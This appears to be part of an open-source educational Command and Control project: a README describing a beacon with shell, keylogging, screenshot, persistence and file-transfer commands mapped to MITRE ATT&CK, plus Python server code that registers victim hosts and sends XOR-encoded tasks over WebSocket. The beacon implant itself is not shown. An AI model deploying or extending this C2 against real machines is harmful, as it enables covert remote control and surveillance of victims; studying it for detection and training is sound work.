> Command and Control beacon and server with XOR-encoded WebSocket protocol, 10 MITRE ATT&CK mapped commands, and a real-time operator dashboard.
|
||||
|
||||
*This is a quick overview — security theory, architecture, and full walkthroughs are in the [learn modules](#learn).*
|
||||
|
||||
## What It Does
|
||||
|
||||
- WebSocket-based C2 protocol with XOR + Base64 encoding and shared-key authentication
|
||||
- 10 beacon commands mapped to MITRE ATT&CK: shell, sysinfo, proclist, upload, download, screenshot, keylog, persist, sleep
|
||||
- Real-time operator dashboard showing connected beacons with live heartbeat tracking
|
||||
- Terminal-style session page with command history, tab autocomplete, and inline screenshot rendering
|
||||
- Per-beacon async task queues with SQLite persistence and full task history
|
||||
- Exponential backoff reconnection with configurable sleep interval and jitter
|
||||
|
||||
## Quick Start
|
||||
|
||||
```bash
|
||||
docker compose -f dev.compose.yml up -d
|
||||
```
|
||||
|
||||
Visit `http://localhost:47430` to open the operator dashboard.
|
||||
|
||||
Run a beacon in a separate terminal:
|
||||
|
||||
```bash
|
||||
just beacon
|
||||
```
|
||||
|
||||
> [!TIP]
|
||||
> This project uses [`just`](https://github.com/casey/just) as a command runner. Type `just` to see all available commands.
|
||||
>
|
||||
> Install: `curl -sSf https://just.systems/install.sh | bash -s -- --to ~/.local/bin`
|
||||
|
||||
## Stack
|
||||
|
||||
**Backend:** FastAPI, aiosqlite, Pydantic, uvicorn
|
||||
|
||||
**Frontend:** React 19, TypeScript, Vite, Zustand, Zod
|
||||
|
||||
**Beacon:** asyncio, websockets, psutil, pynput, mss
|
||||
|
||||
## Learn
|
||||
|
||||
This project includes step-by-step learning materials covering security theory, architecture, and implementation.
|
||||
|
||||
| Module | Topic |
|
||||
|--------|-------|
|
||||
| [00 - Overview](learn/00-OVERVIEW.md) | Prerequisites and quick start |
|
||||
| [01 - Concepts](learn/01-CONCEPTS.md) | C2 frameworks, MITRE ATT&CK, and detection |
|
||||
| [02 - Architecture](learn/02-ARCHITECTURE.md) | Protocol design and data flow |
|
||||
| [03 - Implementation](learn/03-IMPLEMENTATION.md) | Code walkthrough |
|
||||
| [04 - Challenges](learn/04-CHALLENGES.md) | Extension ideas and exercises |
|
||||
|
||||
|
||||
## License
|
||||
|
||||
AGPL 3.0
|
||||
|
|
@ -0,0 +1,47 @@
|
|||
# ⒸAngelaMos | 2025 | CarterPerez-dev
|
||||
[style]
|
||||
based_on_style = pep8
|
||||
column_limit = 89
|
||||
indent_width = 4
|
||||
continuation_indent_width = 4
|
||||
indent_closing_brackets = false
|
||||
dedent_closing_brackets = true
|
||||
indent_blank_lines = false
|
||||
spaces_before_comment = 2
|
||||
spaces_around_power_operator = false
|
||||
spaces_around_default_or_named_assign = true
|
||||
space_between_ending_comma_and_closing_bracket = false
|
||||
space_inside_brackets = false
|
||||
spaces_around_subscript_colon = true
|
||||
blank_line_before_nested_class_or_def = false
|
||||
blank_line_before_class_docstring = false
|
||||
blank_lines_around_top_level_definition = 2
|
||||
blank_lines_between_top_level_imports_and_variables = 2
|
||||
blank_line_before_module_docstring = false
|
||||
split_before_logical_operator = true
|
||||
split_before_first_argument = true
|
||||
split_before_named_assigns = true
|
||||
split_complex_comprehension = true
|
||||
split_before_expression_after_opening_paren = false
|
||||
split_before_closing_bracket = true
|
||||
split_all_comma_separated_values = true
|
||||
split_all_top_level_comma_separated_values = false
|
||||
coalesce_brackets = false
|
||||
each_dict_entry_on_separate_line = true
|
||||
allow_multiline_lambdas = false
|
||||
allow_multiline_dictionary_keys = false
|
||||
split_penalty_import_names = 0
|
||||
join_multiple_lines = false
|
||||
align_closing_bracket_with_visual_indent = true
|
||||
arithmetic_precedence_indication = false
|
||||
split_penalty_for_added_line_split = 275
|
||||
use_tabs = false
|
||||
split_before_dot = false
|
||||
split_arguments_when_comma_terminated = true
|
||||
i18n_function_call = ['_', 'N_', 'gettext', 'ngettext']
|
||||
i18n_comment = ['# Translators:', '# i18n:']
|
||||
split_penalty_comprehension = 80
|
||||
split_penalty_after_opening_bracket = 280
|
||||
split_penalty_before_if_expr = 0
|
||||
split_penalty_bitwise_operator = 290
|
||||
split_penalty_logical_operator = 0
|
||||
|
|
@ -0,0 +1,39 @@
|
|||
"""
|
||||
©AngelaMos | 2026
|
||||
__init__.py
|
||||
|
||||
⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠁⣰⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠿⣿⣿⣿⣿⣁⣭⣝⢿⡋⠽⢯⣝⡻⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣮⠻⣿⣿⣿⣷⡝⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
|
||||
⣿⣿⣿⣿⣿⣿⣿⣿⣿⠏⢠⣾⣿⣿⣿⣿⣿⣿⣿⣿⡿⣫⢔⣫⣥⣾⣿⣿⣿⣏⠙⣿⣧⢻⣿⣿⣶⣭⣓⢬⡻⣿⣿⣿⣿⣿⣿⣿⣿⣷⡙⣿⣿⣿⣿⣌⢿⣿⣿⣿⣿⣿⣿⣿⣿
|
||||
⣿⣿⣿⣿⣿⣿⣿⣿⠃⣴⣿⣿⣿⣿⣿⣿⣿⣿⣿⠟⢔⣵⣿⣿⣿⣿⣿⣿⣿⣿⣧⡈⣿⣧⢻⣿⣿⣿⣿⣷⣄⡈⠻⣿⣿⣿⣿⣿⣿⣿⣷⡘⣿⣿⣿⣿⣆⢿⣿⣿⣿⣿⣿⣿⣿
|
||||
⣿⣿⣿⣿⣿⣿⡿⠃⣼⣿⣿⣿⣿⣿⣿⣿⣿⣿⠏⢢⣿⣿⣿⣿⣿⣿⣿⢛⣿⣿⣿⣿⢹⣿⡘⣿⣿⣿⣿⣿⣿⣿⣦⡙⢿⣿⣿⣿⣿⣿⣿⣷⡸⣿⣿⣿⣿⡎⢿⣿⣿⣿⣿⣿⣿
|
||||
⣿⣿⣿⣿⣿⣿⢇⣼⣿⣿⣿⣿⣿⣿⣿⣿⣿⡏⣰⣿⣿⣿⣿⣿⡿⢻⠏⣾⣿⣿⣿⣿⡇⣿⡇⡹⣿⣿⣿⣿⣿⣿⣿⣿⣌⢿⡟⢻⣿⢈⢧⠙⣧⢹⡟⢿⣿⣿⡼⣿⣿⣿⣿⣿⣿
|
||||
⣿⣿⣿⣿⣿⡏⣼⡟⢩⣿⣿⢛⣿⣿⣿⣿⣿⢡⣿⣿⣿⣿⣿⡟⢡⣿⣸⣿⣿⣿⣿⣿⣷⣿⣇⣳⡿⣿⣿⠻⣿⡉⢻⣿⣿⡎⢿⡴⣝⣋⡌⣎⠸⡏⢿⡌⣿⣿⣧⢹⣿⣿⣿⣿⣿
|
||||
⣿⣿⣿⣿⡟⣈⣎⠆⢃⣿⢇⡾⢻⣿⣿⣿⡏⣾⡟⣿⠿⣿⡿⠁⣼⡇⣿⣿⣿⣿⣿⣿⣿⣿⣿⢰⡸⣌⣿⣦⢊⠧⢱⡹⣿⣿⡌⣷⣹⣿⡟⠘⡦⢹⡸⣿⡘⣿⣿⡞⣿⣿⣿⣿⣿
|
||||
⣿⣿⣿⡿⡘⣼⠘⡼⣼⡟⡞⣰⣿⣿⣿⣿⠸⣋⢶⡿⢰⣿⢣⣧⣿⢡⣿⢣⢻⢏⣿⣿⣿⣿⡇⣼⡇⡑⣎⠛⣧⡳⠺⣟⠜⣿⣿⡸⣧⢿⣏⣆⢱⡘⡧⣿⣿⣿⣿⡇⢻⣿⣿⣿⣿
|
||||
⣿⣿⣿⢡⢱⣇⣸⢣⣿⢰⣿⣿⣸⣿⣿⡏⣆⣿⢸⡇⢸⠏⡞⢸⣿⢸⣿⣼⢰⣾⣏⣿⡟⡿⠇⣿⣿⢰⠹⡨⡜⢷⡁⢬⣧⣸⣿⣇⢻⣼⣿⣿⣷⣿⣧⢸⣿⣿⣿⣿⢸⣿⣿⣿⣿
|
||||
⣿⣿⡟⣾⣿⣿⡟⣸⣿⢋⣿⣿⣿⣿⣿⢡⡏⡼⢸⡷⣿⠘⢸⢸⣿⣬⣿⣿⢘⣥⢻⡟⠇⣧⢳⣿⣿⠈⣷⠳⣿⣎⢿⣿⣿⣿⣿⣿⡜⣿⣿⣿⣿⣿⣷⡜⣿⣿⣿⣿⡎⣿⣿⣿⣿
|
||||
⣿⣿⢡⣿⣿⣿⡇⣿⣿⣼⣿⣿⣿⣿⣿⢸⣿⡇⣿⣷⠇⠀⡌⢸⣿⢻⣿⣿⢸⣿⡼⢡⢸⡟⣸⣿⣿⡎⣌⢷⡹⣿⣦⠻⣿⣿⣿⣿⣧⢿⣿⣿⣿⣿⣿⡇⣿⣿⣿⣿⡇⣿⣿⣿⣿
|
||||
⣿⣿⣾⣿⣿⣿⢷⣿⣿⣿⣿⣿⣿⣿⡿⣿⣿⠇⣿⣿⠀⣼⣇⢸⣿⢸⣿⣿⢸⣿⣷⡏⣿⢱⣿⢻⣿⡇⣎⢣⡱⡜⢿⣷⡈⠻⣿⣿⣿⢸⣿⣿⣿⣿⣿⣧⣿⣿⣿⣿⣷⣿⣿⣿⣿
|
||||
⣿⣟⣿⣿⣿⣏⣼⣿⣿⣿⣿⣿⣿⣿⡇⣿⡏⠀⣿⣿⠀⣿⣿⢸⣿⡆⣿⣿⣸⣿⡟⡼⢃⣿⣿⢸⣿⢱⣿⣷⡕⢌⠢⡻⣿⣮⡪⡙⢿⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
|
||||
⣿⣯⣿⣿⡿⢸⣿⣿⣿⣿⣿⣿⣿⣿⡇⣿⠉⣴⢹⣿⣸⣿⣿⡏⣿⣷⢿⣿⡏⡿⠑⠁⢸⣿⡿⢸⣿⢸⣿⣿⣿⣷⣕⠌⠪⣿⣿⡌⠳⡆⣿⣿⢻⣿⣿⣿⡙⣿⣿⣿⣿⣿⣿⣿⣿
|
||||
⣿⣿⣿⣿⠃⢳⣼⣿⣿⣿⣿⣿⣿⣿⡇⡏⢸⣿⢸⣿⣿⣿⣿⣷⣸⣿⠈⣿⠇⡀⢀⣾⢸⣿⡇⠼⠟⣸⠿⠿⠿⢛⣛⣥⣤⡀⠐⠶⣷⡄⣿⡿⣸⣿⣿⣿⣼⠸⣿⣿⣿⣿⣿⣿⣿
|
||||
⡏⢸⣿⣿⠀⠰⣾⣿⣿⣿⡇⣿⣿⣿⡇⠃⣾⣿⡆⢍⢛⠻⠿⣿⣧⢻⡌⡁⠞⠁⢿⣿⢸⣿⣧⢸⣆⣐⡤⢞⣛⠻⠿⠍⠉⠙⠁⠈⠀⠀⣚⡃⢿⣿⣿⣿⣿⡇⣿⣿⣿⣿⣿⣿⣿
|
||||
⣸⢸⣿⡇⠀⡗⣼⣿⣿⣿⣧⢹⣿⣿⣇⠀⣿⣿⣿⡘⠸⡿⢷⣶⣶⣦⠲⢲⡐⢷⡈⡻⣼⡿⣸⠘⣸⣿⣞⠉⢀⡀⡀⠀⠀⠀⢰⣾⣿⠂⢉⢀⣿⣿⣿⣿⣿⢣⣿⣿⣿⣿⣿⣿⣿
|
||||
⢧⢸⣿⡇⠃⡇⠟⣿⣿⣿⣿⡞⣿⣿⣿⠀⡿⠇⠉⢁⠀⢀⠀⣀⠀⠀⡀⠀⠈⢎⠳⡄⣿⢡⠇⣰⣿⣿⣧⣾⣿⣇⠑⠮⠔⣁⣾⣿⠛⣠⡾⢸⣿⣿⣿⡏⢣⣿⣿⣿⣿⢿⣿⣿⣿
|
||||
⣾⣾⣿⡇⠀⡇⠀⣯⡻⣿⣿⣷⡸⣿⣿⡆⣶⣄⠐⢿⣷⣿⡄⠱⣄⡠⠆⣼⣌⣿⡷⡰⠃⠋⣴⣿⣿⣿⣿⣿⣿⣿⣯⣭⣭⣤⣴⣿⢣⣿⢡⢸⣿⣿⣿⡇⣿⣿⣿⣿⣿⣸⣿⣿⣿
|
||||
⣿⡿⣿⡇⡇⡇⢀⢹⣇⣿⣿⣿⣷⡹⣿⣿⡸⣿⣷⣤⠛⣿⠿⠶⠶⢒⣺⣿⣿⡿⢁⣵⣿⣶⣬⣹⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⢇⣾⢃⣸⣼⣿⣿⣿⢠⣿⣿⣿⣿⣿⢿⣿⣿⣿
|
||||
⣿⠁⣿⡇⠃⡇⢸⠌⡸⡘⣿⣿⣿⣷⡘⣿⣷⡹⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣴⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡟⡼⣣⡟⡇⣿⣿⣿⢁⣸⣿⣿⣿⣿⣿⢸⣿⣿⣿
|
||||
⡛⢰⢻⣧⠀⡇⡸⢀⢣⣷⢻⣿⣿⣿⣿⡌⠻⣷⡽⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠏⢈⣴⣿⢃⢸⣿⢏⡇⡆⠋⣿⣿⣿⣿⢻⢸⣿⣿⣿
|
||||
⣬⠘⡌⣿⢀⡇⡇⢸⡆⡜⣧⢻⣿⣿⣿⣧⢢⣜⢻⣌⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣡⣶⣿⣿⡟⢄⣿⡟⡼⡙⣼⢸⣿⣿⣿⣿⢸⢸⣿⣿⣿
|
||||
⣿⡗⡆⠹⡇⢡⡇⢸⡇⡘⣽⣇⢻⣿⣿⣿⡌⢿⡇⢮⡓⠙⠿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣏⡸⠃⣼⣿⣱⠳⢱⣿⢸⣿⣿⣿⣿⢸⡆⣿⣿⣿
|
||||
⣿⡇⡄⣷⠹⡼⡇⢸⡇⣷⡙⣿⡄⠻⣿⣿⣿⡌⣿⢸⣷⢕⢦⣬⣛⣿⣿⣿⣿⣿⣿⣿⣿⣿⣟⣛⠿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠟⡅⣼⣿⢡⡇⣰⢸⣿⣸⣿⣿⣿⣿⠈⡇⣿⣿⣿
|
||||
⣿⢸⠇⣿⢰⠀⠁⣾⠃⣿⢱⡜⢷⡱⡹⣿⣿⣷⡸⢸⣿⢸⣷⣍⡻⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⢛⢡⡆⣸⡿⣡⢏⣾⣿⢸⣿⣿⣿⣿⣿⣿⠀⣧⣿⣿⣿
|
||||
⣿⢸⢰⣿⢸⢸⡆⡙⠀⣿⢸⣗⣌⢧⠱⣜⢿⣿⣷⡘⠟⣼⣿⣿⣿⣷⣮⣝⠻⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠟⣩⣶⣿⠘⣱⠟⢕⣵⣿⣯⢹⣼⣿⢹⢸⣿⣿⣿⠈⢻⢹⣿⣿
|
||||
⡟⣼⢸⣿⠸⣿⢻⡟⡇⣿⢸⠛⣿⣷⡁⠻⣦⡹⣿⣿⣄⢻⣿⢟⣿⣿⣿⣿⠀⢿⡄⣭⣟⡛⠿⣿⣿⣿⠿⣛⣵⣾⣿⣿⠟⡜⢁⡐⣿⣿⣿⣿⡸⡟⣿⢸⢸⣿⣿⣿⠀⡸⡸⣿⣿
|
||||
⡇⣿⢸⣿⡇⡏⣼⢡⠇⡿⡾⠀⣿⣿⡿⠆⠈⠵⢎⡻⣿⣦⡁⣾⣿⣿⣿⡏⣼⢸⣧⢻⣿⣿⣿⣶⣶⣶⣾⣿⣿⣿⡿⢋⣨⡆⢿⣇⢻⣿⣿⣿⣇⠃⢻⠘⡈⣿⣿⣿⡇⠃⡇⣿⣿
|
||||
⡇⣿⢸⣿⡇⢣⡏⣾⢸⡇⢇⡇⡟⡩⢊⠀⣠⣶⢸⣿⣦⠙⠷⣜⢻⣿⠟⣼⣿⢸⠟⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣯⣴⣿⢛⣼⢸⣿⡜⣿⣿⣿⣿⠎⠘⡇⡇⣿⣿⣿⡇⡈⢻⢹⣿
|
||||
⡇⣿⢸⣿⡇⡼⢹⠟⢾⣘⣘⡓⡘⠰⢁⣾⣿⣿⢸⡿⣿⢸⣿⣶⠅⣁⣚⣭⣵⣶⠏⡘⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠟⣡⣿⣿⣇⠻⣧⢹⣿⠏⢱⣿⣆⢧⢧⣿⣿⣿⣇⣧⡜⡎⣿
|
||||
⣷⢸⠸⡿⢘⣥⣶⣿⣿⣿⣿⡇⠇⢶⣾⢿⣿⣿⣸⡇⣿⢺⢏⡔⣹⣿⣿⣿⣿⣿⣿⣿⣮⡙⢿⣿⣿⣿⣿⣿⠟⣡⣾⣿⣿⣿⣿⣧⣌⠃⢿⣧⢃⢻⣿⣎⢸⢹⣿⣿⣿⢻⠰⢷⢹
|
||||
⣿⡦⢅⣴⣿⣿⣿⣿⣿⣿⣿⣿⡸⡌⢿⣇⣿⣿⡟⡇⢿⠠⡿⢱⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣮⣝⣛⣫⣵⣾⣿⣿⣿⣿⣿⣿⣿⣿⣷⡄⢿⣇⢸⣏⠿⡄⠜⣿⣿⣿⢸⣇⠘⡞
|
||||
|
||||
"""
|
||||
|
|
@ -0,0 +1,104 @@
|
|||
"""
|
||||
AngelaMos | 2026
|
||||
__main__.py
|
||||
"""
|
||||
|
||||
import logging
|
||||
from collections.abc import AsyncIterator
|
||||
from contextlib import asynccontextmanager
|
||||
|
||||
import uvicorn
|
||||
from fastapi import FastAPI
|
||||
from fastapi.middleware.cors import CORSMiddleware
|
||||
|
||||
from app.beacon.registry import BeaconRegistry
|
||||
from app.beacon.router import router as beacon_ws_router
|
||||
from app.beacon.tasking import TaskManager
|
||||
from app.config import settings
|
||||
from app.database import init_db
|
||||
from app.ops.manager import OpsManager
|
||||
from app.ops.router import rest_router as ops_rest_router
|
||||
from app.ops.router import ws_router as ops_ws_router
|
||||
|
||||
|
||||
@asynccontextmanager
|
||||
async def lifespan(app: FastAPI) -> AsyncIterator[None]:
|
||||
"""
|
||||
Application lifespan handler for startup and shutdown
|
||||
"""
|
||||
logging.basicConfig(
|
||||
level = getattr(logging,
|
||||
settings.LOG_LEVEL),
|
||||
format = "%(asctime)s %(levelname)s %(name)s: %(message)s",
|
||||
)
|
||||
await init_db()
|
||||
app.state.registry = BeaconRegistry()
|
||||
app.state.task_manager = TaskManager()
|
||||
app.state.ops_manager = OpsManager()
|
||||
logging.getLogger(__name__).info(
|
||||
"%s v%s started",
|
||||
settings.APP_NAME,
|
||||
settings.APP_VERSION
|
||||
)
|
||||
yield
|
||||
|
||||
|
||||
def create_app() -> FastAPI:
|
||||
"""
|
||||
Application factory
|
||||
"""
|
||||
app = FastAPI(
|
||||
title = settings.APP_NAME,
|
||||
version = settings.APP_VERSION,
|
||||
description = "Educational C2 beacon server for security research",
|
||||
lifespan = lifespan,
|
||||
root_path = "/api",
|
||||
openapi_url = "/openapi.json",
|
||||
docs_url = "/docs",
|
||||
redoc_url = "/redoc",
|
||||
)
|
||||
|
||||
app.add_middleware(
|
||||
CORSMiddleware,
|
||||
allow_origins = settings.CORS_ORIGINS,
|
||||
allow_credentials = True,
|
||||
allow_methods = ["GET",
|
||||
"POST",
|
||||
"OPTIONS"],
|
||||
allow_headers = ["*"],
|
||||
)
|
||||
|
||||
@app.get("/health", tags = ["health"])
|
||||
async def health() -> dict[str, str]:
|
||||
"""
|
||||
Health check endpoint for container orchestration
|
||||
"""
|
||||
return {"status": "healthy"}
|
||||
|
||||
@app.get("/", tags = ["root"])
|
||||
async def root() -> dict[str, str]:
|
||||
"""
|
||||
API information endpoint
|
||||
"""
|
||||
return {
|
||||
"name": settings.APP_NAME,
|
||||
"version": settings.APP_VERSION,
|
||||
"docs": "/api/docs",
|
||||
}
|
||||
|
||||
app.include_router(beacon_ws_router, prefix = "/ws")
|
||||
app.include_router(ops_ws_router, prefix = "/ws")
|
||||
app.include_router(ops_rest_router)
|
||||
|
||||
return app
|
||||
|
||||
|
||||
app = create_app()
|
||||
|
||||
if __name__ == "__main__":
|
||||
uvicorn.run(
|
||||
"app.__main__:app",
|
||||
host = settings.HOST,
|
||||
port = settings.PORT,
|
||||
reload = settings.RELOAD,
|
||||
)
|
||||
|
|
@ -0,0 +1,137 @@
|
|||
"""
|
||||
AngelaMos | 2026
|
||||
registry.py
|
||||
"""
|
||||
|
||||
from datetime import UTC, datetime
|
||||
|
||||
import aiosqlite
|
||||
from fastapi import WebSocket
|
||||
|
||||
from app.core.models import BeaconMeta, BeaconRecord
|
||||
|
||||
|
||||
class BeaconRegistry:
|
||||
"""
|
||||
Tracks active beacon WebSocket connections backed by SQLite persistence
|
||||
"""
|
||||
def __init__(self) -> None:
|
||||
"""
|
||||
Initialize empty connection store
|
||||
"""
|
||||
self._connections: dict[str, WebSocket] = {}
|
||||
|
||||
async def register(
|
||||
self,
|
||||
beacon_id: str,
|
||||
meta: BeaconMeta,
|
||||
ws: WebSocket,
|
||||
db: aiosqlite.Connection,
|
||||
) -> None:
|
||||
"""
|
||||
Register a beacon connection in memory and upsert to database
|
||||
"""
|
||||
self._connections[beacon_id] = ws
|
||||
now = datetime.now(UTC).isoformat()
|
||||
|
||||
await db.execute(
|
||||
"""
|
||||
INSERT INTO beacons (id, hostname, os, username, pid, internal_ip, arch, first_seen, last_seen)
|
||||
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?)
|
||||
ON CONFLICT(id) DO UPDATE SET
|
||||
hostname = excluded.hostname,
|
||||
os = excluded.os,
|
||||
username = excluded.username,
|
||||
pid = excluded.pid,
|
||||
internal_ip = excluded.internal_ip,
|
||||
arch = excluded.arch,
|
||||
last_seen = excluded.last_seen
|
||||
""",
|
||||
(
|
||||
beacon_id,
|
||||
meta.hostname,
|
||||
meta.os,
|
||||
meta.username,
|
||||
meta.pid,
|
||||
meta.internal_ip,
|
||||
meta.arch,
|
||||
now,
|
||||
now,
|
||||
),
|
||||
)
|
||||
await db.commit()
|
||||
|
||||
async def unregister(
|
||||
self,
|
||||
beacon_id: str,
|
||||
db: aiosqlite.Connection,
|
||||
) -> None:
|
||||
"""
|
||||
Remove beacon from active connections and update last_seen
|
||||
"""
|
||||
self._connections.pop(beacon_id, None)
|
||||
now = datetime.now(UTC).isoformat()
|
||||
await db.execute(
|
||||
"UPDATE beacons SET last_seen = ? WHERE id = ?",
|
||||
(now,
|
||||
beacon_id),
|
||||
)
|
||||
await db.commit()
|
||||
|
||||
def get_connection(self, beacon_id: str) -> WebSocket | None:
|
||||
"""
|
||||
Retrieve the active WebSocket for a beacon
|
||||
"""
|
||||
return self._connections.get(beacon_id)
|
||||
|
||||
def is_active(self, beacon_id: str) -> bool:
|
||||
"""
|
||||
Check if a beacon has an active WebSocket connection
|
||||
"""
|
||||
return beacon_id in self._connections
|
||||
|
||||
def list_active_ids(self) -> list[str]:
|
||||
"""
|
||||
Return IDs of all currently connected beacons
|
||||
"""
|
||||
return list(self._connections.keys())
|
||||
|
||||
async def get_all(self, db: aiosqlite.Connection) -> list[BeaconRecord]:
|
||||
"""
|
||||
Retrieve all beacon records from the database
|
||||
"""
|
||||
cursor = await db.execute("SELECT * FROM beacons ORDER BY last_seen DESC")
|
||||
rows = await cursor.fetchall()
|
||||
return [BeaconRecord(**dict(row)) for row in rows]
|
||||
|
||||
async def get_one(
|
||||
self,
|
||||
beacon_id: str,
|
||||
db: aiosqlite.Connection,
|
||||
) -> BeaconRecord | None:
|
||||
"""
|
||||
Retrieve a single beacon record by ID
|
||||
"""
|
||||
cursor = await db.execute("SELECT * FROM beacons WHERE id = ?",
|
||||
(beacon_id,
|
||||
))
|
||||
row = await cursor.fetchone()
|
||||
if row is None:
|
||||
return None
|
||||
return BeaconRecord(**dict(row))
|
||||
|
||||
async def update_last_seen(
|
||||
self,
|
||||
beacon_id: str,
|
||||
db: aiosqlite.Connection,
|
||||
) -> None:
|
||||
"""
|
||||
Update the last_seen timestamp for a beacon heartbeat
|
||||
"""
|
||||
now = datetime.now(UTC).isoformat()
|
||||
await db.execute(
|
||||
"UPDATE beacons SET last_seen = ? WHERE id = ?",
|
||||
(now,
|
||||
beacon_id),
|
||||
)
|
||||
await db.commit()
|
||||
|
|
@ -0,0 +1,169 @@
|
|||
"""
|
||||
AngelaMos | 2026
|
||||
router.py
|
||||
"""
|
||||
|
||||
import asyncio
|
||||
import logging
|
||||
import uuid
|
||||
|
||||
from fastapi import APIRouter, WebSocket, WebSocketDisconnect
|
||||
|
||||
from app.beacon.registry import BeaconRegistry
|
||||
from app.beacon.tasking import TaskManager
|
||||
from app.config import settings
|
||||
from app.core.models import BeaconMeta, TaskResult
|
||||
from app.core.protocol import Message, MessageType, pack, unpack
|
||||
from app.database import get_db
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
router = APIRouter()
|
||||
|
||||
|
||||
async def _send_tasks(
|
||||
ws: WebSocket,
|
||||
beacon_id: str,
|
||||
task_manager: TaskManager,
|
||||
) -> None:
|
||||
"""
|
||||
Coroutine that awaits queued tasks and sends them to the beacon
|
||||
"""
|
||||
while True:
|
||||
task = await task_manager.get_next(beacon_id)
|
||||
message = Message(
|
||||
type = MessageType.TASK,
|
||||
payload = {
|
||||
"id": task.id,
|
||||
"command": task.command,
|
||||
"args": task.args,
|
||||
},
|
||||
)
|
||||
await ws.send_text(pack(message, settings.XOR_KEY))
|
||||
|
||||
|
||||
async def _receive_messages(
|
||||
ws: WebSocket,
|
||||
beacon_id: str,
|
||||
registry: BeaconRegistry,
|
||||
task_manager: TaskManager,
|
||||
ops_broadcast: object,
|
||||
) -> None:
|
||||
"""
|
||||
Coroutine that processes incoming messages from the beacon
|
||||
"""
|
||||
while True:
|
||||
raw = await ws.receive_text()
|
||||
message = unpack(raw, settings.XOR_KEY)
|
||||
|
||||
if message.type == MessageType.RESULT:
|
||||
result = TaskResult(
|
||||
id = str(uuid.uuid4()),
|
||||
task_id = message.payload["task_id"],
|
||||
output = message.payload.get("output"),
|
||||
error = message.payload.get("error"),
|
||||
)
|
||||
async with get_db() as db:
|
||||
await task_manager.store_result(result, db)
|
||||
|
||||
if hasattr(ops_broadcast, "broadcast"):
|
||||
await ops_broadcast.broadcast(
|
||||
{
|
||||
"type": "task_result",
|
||||
"payload": result.model_dump(),
|
||||
}
|
||||
)
|
||||
|
||||
elif message.type == MessageType.HEARTBEAT:
|
||||
async with get_db() as db:
|
||||
await registry.update_last_seen(beacon_id, db)
|
||||
|
||||
if hasattr(ops_broadcast, "broadcast"):
|
||||
await ops_broadcast.broadcast(
|
||||
{
|
||||
"type": "heartbeat",
|
||||
"payload": {
|
||||
"id": beacon_id
|
||||
},
|
||||
}
|
||||
)
|
||||
|
||||
|
||||
@router.websocket("/beacon")
|
||||
async def beacon_websocket(ws: WebSocket) -> None:
|
||||
"""
|
||||
WebSocket endpoint for beacon connections
|
||||
"""
|
||||
await ws.accept()
|
||||
|
||||
registry: BeaconRegistry = ws.app.state.registry
|
||||
task_manager: TaskManager = ws.app.state.task_manager
|
||||
ops_manager = ws.app.state.ops_manager
|
||||
beacon_id: str | None = None
|
||||
|
||||
try:
|
||||
raw = await ws.receive_text()
|
||||
message = unpack(raw, settings.XOR_KEY)
|
||||
|
||||
if message.type != MessageType.REGISTER:
|
||||
await ws.close(code = 4001, reason = "Expected REGISTER message")
|
||||
return
|
||||
|
||||
meta = BeaconMeta.model_validate(message.payload)
|
||||
beacon_id = message.payload.get("id", str(uuid.uuid4()))
|
||||
|
||||
async with get_db() as db:
|
||||
await registry.register(beacon_id, meta, ws, db)
|
||||
|
||||
logger.info("Beacon registered: %s (%s)", beacon_id, meta.hostname)
|
||||
|
||||
if hasattr(ops_manager, "broadcast"):
|
||||
beacon_record = meta.model_dump()
|
||||
beacon_record["id"] = beacon_id
|
||||
await ops_manager.broadcast(
|
||||
{
|
||||
"type": "beacon_connected",
|
||||
"payload": beacon_record,
|
||||
}
|
||||
)
|
||||
|
||||
send_task = asyncio.create_task(_send_tasks(ws, beacon_id, task_manager))
|
||||
recv_task = asyncio.create_task(
|
||||
_receive_messages(ws,
|
||||
beacon_id,
|
||||
registry,
|
||||
task_manager,
|
||||
ops_manager)
|
||||
)
|
||||
|
||||
done, pending = await asyncio.wait(
|
||||
[send_task, recv_task],
|
||||
return_when=asyncio.FIRST_COMPLETED,
|
||||
)
|
||||
|
||||
for task in pending:
|
||||
task.cancel()
|
||||
|
||||
for task in done:
|
||||
if (exc := task.exception()) is not None:
|
||||
raise exc
|
||||
|
||||
except WebSocketDisconnect:
|
||||
logger.info("Beacon disconnected: %s", beacon_id)
|
||||
except ValueError as exc:
|
||||
logger.warning("Protocol error from beacon %s: %s", beacon_id, exc)
|
||||
finally:
|
||||
if beacon_id:
|
||||
async with get_db() as db:
|
||||
await registry.unregister(beacon_id, db)
|
||||
task_manager.remove_queue(beacon_id)
|
||||
|
||||
if hasattr(ops_manager, "broadcast"):
|
||||
await ops_manager.broadcast(
|
||||
{
|
||||
"type": "beacon_disconnected",
|
||||
"payload": {
|
||||
"id": beacon_id
|
||||
},
|
||||
}
|
||||
)
|
||||
|
|
@ -0,0 +1,122 @@
|
|||
"""
|
||||
AngelaMos | 2026
|
||||
tasking.py
|
||||
"""
|
||||
|
||||
import asyncio
|
||||
|
||||
import aiosqlite
|
||||
|
||||
from app.core.models import TaskRecord, TaskResult
|
||||
|
||||
|
||||
class TaskManager:
|
||||
"""
|
||||
Per-beacon async task queues backed by SQLite persistence
|
||||
"""
|
||||
